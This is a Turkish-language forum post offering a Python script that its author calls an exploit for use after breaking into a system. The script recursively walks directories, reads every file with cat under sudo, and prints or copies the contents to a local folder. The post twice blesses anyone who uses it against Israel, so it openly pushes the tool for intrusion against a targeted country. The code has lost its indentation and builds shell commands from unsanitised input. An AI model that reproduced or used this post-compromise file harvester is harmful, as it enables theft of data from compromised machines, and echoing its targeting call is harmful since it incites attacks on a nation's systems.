Selamün Aleyküm
exploit konusu olarak acma nedenim sisteme sızdıktan sonra bi anlam ifade ediyor olmasıdır buda bir nevi exploit sayılır
bir sisteme sızdıktan sonra bu kodu bi şekilde çalıştırabilirsek belirttiğimiz dizinden itibaren var olan dosyalar içerikleri ile birlikte karşımıza düşecektir
israile karşı kullananacak olan herkesden Allah razı olsun
exploit konusu olarak acma nedenim sisteme sızdıktan sonra bi anlam ifade ediyor olmasıdır buda bir nevi exploit sayılır
bir sisteme sızdıktan sonra bu kodu bi şekilde çalıştırabilirsek belirttiğimiz dizinden itibaren var olan dosyalar içerikleri ile birlikte karşımıza düşecektir
israile karşı kullananacak olan herkesden Allah razı olsun
Python:
#kodu geliştirmek isteyenler için :
#cat yapılan yerlere chmod +r eklenebilir
#permission denied yazan yerleri okumaya yetkiniz yok diye kayıt edebiliriz PermissionError ile yapılabilir belki
#bazı dosyalarda UnicodeDecodeError: 'utf-8' codec can't decode byte 0xeb in position 1: invalid continuation byte hatası veriyor büyük ihtimalle hash'li dosyalar bunlar bunları gecmek icin try except blogları eklemeliyiz
import os
import subprocess
#NOT
#kodu sudo ile çalıştırmanız lazım normal kullanıcı ile çalıştırırsanız bazı dosyalarda permission denied hatası alabilirsiniz (normal dosyalarda sıkıntı olmaz)
print("1) kendim işlem yapmak istiyorum\n")
print("2) istedigim dosyaların hepsini belirteceğim dizine kayıt et\n")
while True:
try:
ilk_soru = int(input())
subprocess.call("clear")
break
except:
pass
if ilk_soru == 1:
bulunan_dizinlerin_yolu = []
directory = []
while True:
try:
başlangıç_dizini = str(input("hangi dizinden itibaren dosyaları çekmek istersiniz\n"))
break
except:
print("bidaha yaz")
def hepsi():
def alt_dizinleri_bul(dizin):
os.chdir(dizin)
a = os.popen("ls -l").read().split("\n")
b = os.popen("ls").read().split("\n")
for i in range(len(a)):
if i == 0:
pass
else:
if a[i].startswith("d"):
directory.append(b[i-1])
alt_dizinleri_bul(başlangıç_dizini)
for i in directory:
dizin = os.popen(f"find {başlangıç_dizini} -type d -name '{i}'").read()
dizin = str(dizin).split("\n")[0]+"/"
bulunan_dizinlerin_yolu.append(dizin)
alt_dizinleri_bul(dizin)
hepsi()
döngü = 0
while döngü < len(bulunan_dizinlerin_yolu):
os.chdir(bulunan_dizinlerin_yolu[döngü])
döngü += 1
a = os.popen("ls -l").read()
b = os.popen("ls").read()
a = a.split("\n")
b = b.split("\n")
directory = []
file = []
for i in range(len(a)-2):
if i == 0:
pass
else:
if a[i].startswith("-"):
if not a[i]:
pass
else:
file.append(b[i-1])
if not file:
continue
def oku():
sözlük = {}
sayı = 0
print("*******************")
print(bulunan_dizinlerin_yolu[döngü-1],"adlı dizindeki dosyalar")
print("*******************")
for r in file:
print(f"{sayı}) {r}")
sayı += 1
print("*******************")
print(f"{sayı}) çoklu değer girmek istiyorum")
sayı += 1
print(f"{sayı}) hepsini okumak istiyorum")
print("*******************")
while True:
try:
girdi = int(input("hangi dosyayı okumak istersiniz\n"))
if girdi > sayı:
print("\n***mevcut bir sayı giriniz***\n")
continue
break
except:
print("\n***sayı gir***\n")
if girdi == sayı:
subprocess.call("clear")
try:
for y in file:
sözlük[y] = os.popen(f"cat '{y}'").read()
if not sözlük[y]:
continue
print("////////////")
print(f"{y} adlı dosyanın içeriği :")
print("////////////\n")
print(sözlük[y])
print("\n******************\n")
except:
pass
print("*******************")
elif girdi == sayı-1: #çoklu okumak
print("değerleri boşluklu bir şekilde giriniz örneğin 1 4 17")
while True:
coklu_değerler = input()
subprocess.call("clear")
print("**************")
for h in coklu_değerler.split(" "):
try:
if int(h) > sayı:
continue
except:
pass
if str(h).isdigit():
while True:
try:
index = file[int(h)]
sözlük[index] = os.popen(f"cat '{index}'").read()
break
except:
print("geçerli bir değer girin")
continue
if not sözlük[index]:
continue
print("////////////")
print(f"{index} adlı dosyanın içeriği :")
print("////////////\n")
print(sözlük[index])
print("\n**************\n")
else:
continue
break
else:#belirli bir sayıyı okumak
okunacak_deger = file[girdi]
try:
okunan_dosya = os.popen(f"cat '{okunacak_deger}'").read()
if not okunan_dosya.strip():
pass
else:
print(okunan_dosya)
except:
pass #NOT OS POPEN YERLERİ TRY İCİNDE YAZ PERMİSSİON DENİED GİBİ HATALARDA PASS DE VE OKUNAMAYAN DOSYALAR DİYE KAYIT ET
print("*******************")
oku()
elif ilk_soru == 2:
kayıt = str(input("dosyaları kayıt etmek için dizin oluşturucaz dizin yolu ve adını giriniz örn: /home/kullanici/Desktop/dosya/\n"))
başlangıç_dizini = str(input("hangi dizinden itibaren dosyaları çekmek istersiniz\n"))
bulunan_dizinlerin_yolu = []
directory = []
degerler = []
adlar = []
os.mkdir(kayıt)
os.chdir(kayıt)
oluşturulan_dizin_yolu = os.popen("pwd").read()
def alt_dizinleri_bul(dizin):
os.chdir(dizin)
a = os.popen("ls -l").read().split("\n")
b = os.popen("ls").read().split("\n")
for i in range(len(a)):
if i == 0:
pass
else:
if a[i].startswith("d"):
directory.append(b[i-1])
alt_dizinleri_bul(başlangıç_dizini)
for i in directory:
dizin = os.popen(f"find {başlangıç_dizini} -type d -name '{i}'").read()
dizin = str(dizin).split("\n")[0]+"/"
bulunan_dizinlerin_yolu.append(dizin)
alt_dizinleri_bul(dizin)
döngü = 0
while döngü < len(bulunan_dizinlerin_yolu):
os.chdir(bulunan_dizinlerin_yolu[döngü])
döngü += 1
a = os.popen("ls -l").read()
b = os.popen("ls").read()
a = a.split("\n")
b = b.split("\n")
directory = []
file = []
for i in range(len(a)-2):
if i == 0:
pass
else:
if a[i].startswith("-"):
if not a[i]:
pass
else:
file.append(b[i-1])
if not file:
continue
def oku():
try:
for y in range(len(file)):
try:
os.mkdir(kayıt)
except:
pass
içerik = os.popen(f"cat '{file[y]}'").read()
if not içerik:
continue
else:
adlar.append(file[y])
degerler.append(os.popen(f"cat '{file[y]}'").read())
except:
pass
oku()
if kayıt.endswith == "/":
pass
else:
kayıt = kayıt+"/"
for i in range(len(degerler)):
with open(f"{kayıt}örnek+{adlar[i]}","w") as dosya:
dosya.write(degerler[i])
else:
print("geçerli bir sayı gir")